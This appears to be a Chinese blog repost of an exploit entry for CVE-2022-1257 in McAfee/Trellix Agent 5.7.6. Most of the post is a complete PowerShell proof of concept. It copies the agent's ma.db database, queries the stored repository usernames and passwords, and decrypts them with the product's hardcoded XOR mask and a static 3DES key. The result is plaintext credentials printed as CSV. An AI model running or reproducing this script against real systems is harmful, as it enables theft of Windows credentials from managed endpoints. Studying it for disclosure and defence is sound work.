McAfee Agent 5.7.6敏感信息不安全存储漏洞利用详解

本文详细介绍了McAfee Agent 5.7.6版本中存在的敏感信息不安全存储漏洞(CVE-2022-1257),包括利用PowerShell脚本从ma.db数据库提取和解密凭证的技术细节。

McAfee Agent 5.7.6 - 敏感信息不安全存储 - 多个远程漏洞利用

漏洞利用标题: McAfee Agent 5.7.6 - 敏感信息不安全存储
日期: 2025年6月24日
漏洞利用作者: Keenan Scott
厂商主页: hxxps[://]www[.]mcafee[.]com/
软件下载: 不可用(无法找到)
版本: < 5.7.6
测试环境: Windows 11
CVE: CVE-2022-1257

概述

从Trellix Agent数据库(“C:\ProgramData\McAfee\Agent\DB\ma.db”)中提取并解密加密的Windows凭证 - CVE-2022-1257的概念验证。由scottk817制作。

描述

此脚本演示了CVE-2022-1257的利用,这是McAfee的Trellix Agent数据库中的一个漏洞,攻击者可以从ma.db数据库文件中检索和解密凭证。

相关链接

输出

标准输出中的CSV:

1
Username,Password

参数

1
2
3
4
5
[CmdletBinding()]
param (
    [string]$DbSource = 'C:\ProgramData\McAfee\Agent\DB\ma.db',
    [string]$TempFolder = $env:TEMP
)

初始化WinSQLite3使用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$cls = "WinSQLite_{0}" -f ([guid]::NewGuid().ToString('N'))

$code = @"
using System;
using System.Runtime.InteropServices;

public static class $cls
{
    public const int SQLITE_OK  = 0;
    public const int SQLITE_ROW = 100;

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_open_v2(
        [MarshalAs(UnmanagedType.LPStr)] string filename,
        out IntPtr db,
        int flags,
        IntPtr vfs
    );

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_close(IntPtr db);

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_prepare_v2(
        IntPtr db, string sql, int nByte,
        out IntPtr stmt, IntPtr pzTail
    );

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_step(IntPtr stmt);

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col);

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_finalize(IntPtr stmt);
}
"@

# 从ma.db检索用户名和加密密码的SQL语句
$sql = @"
SELECT AUTH_USER, AUTH_PASSWD
FROM AGENT_REPOSITORIES
WHERE AUTH_PASSWD IS NOT NULL;
"@

Add-Type -TypeDefinition $code -PassThru | Out-Null
$type = [type]$cls

解码和解密

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 使用每个Trellix代理使用的静态密钥对数据库中找到的凭证进行解码和解密的函数
function Invoke-McAfeeDecrypt {
    param([string]$B64)

    [byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,
                    0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
    [byte[]]$buf = [Convert]::FromBase64String($B64.Trim())
    for ($i = 0; $i -lt $buf.Length; $i++) {
        $buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length]
    }

    $sha = [System.Security.Cryptography.SHA1]::Create()
    [byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("<!@#$%^>")) + (0..3 | ForEach-Object { 0 })

    $tdes = [System.Security.Cryptography.TripleDES]::Create()
    $tdes.Mode = 'ECB'
    $tdes.Padding = 'None'
    $tdes.Key = $key
    [byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length)

    $i = 0
    while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) {
        $i++
    }
    if ($i -eq 0) { return '' }
    [Text.Encoding]::UTF8.GetString($plain, 0, $i)
}

复制ma.db

1
2
3
# 将ma.db复制到临时目录,添加GUID以防已存在
$tmp = Join-Path $TempFolder ("ma_{0}.db" -f ([guid]::NewGuid()))
Copy-Item -LiteralPath $DbSource -Destination $tmp -Force

提取记录

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$dbPtr = [IntPtr]::Zero
$stmtPtr = [IntPtr]::Zero
$flags = 1
$rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero)

if ($rc -ne $type::SQLITE_OK) {
    $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
        $type::sqlite3_errmsg($dbPtr))
    Throw "sqlite3_open_v2 failed (code $rc) : $msg"
}

$rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero)

if ($rc -ne $type::SQLITE_OK) {
    $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
        $type::sqlite3_errmsg($dbPtr))
    $type::sqlite3_close($dbPtr) | Out-Null
    Throw "sqlite3_prepare_v2 failed (code $rc) : $msg"
}

$buffer = [System.Collections.Generic.List[string]]::new()
while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) {
    $uPtr = $type::sqlite3_column_text($stmtPtr, 0)
    $pPtr = $type::sqlite3_column_text($stmtPtr, 1)

    $user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr)
    $pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr)

    if ($user -and $pass) {
        $buffer.Add("$user,$pass")
    }
}

清理

1
2
3
4
5
6
# 完成并关闭SQL
$type::sqlite3_finalize($stmtPtr) | Out-Null
$type::sqlite3_close($dbPtr) | Out-Null

# 删除复制到临时文件的ma.db文件
Remove-Item $tmp -Force -ErrorAction SilentlyContinue

处理加密凭证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 对每行凭证进行解密并将明文打印到标准输出
foreach ($line in $buffer) {
    $rec = $line -split ',', 2
    if ($rec.Length -eq 2) {
        $username = $rec[0]
        try {
            $password = Invoke-McAfeeDecrypt $rec[1]
        } catch {
            $password = "[DECRYPT-ERROR] $_"
        }
        "Username,Password"
        "$username,$password"
    }
}
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计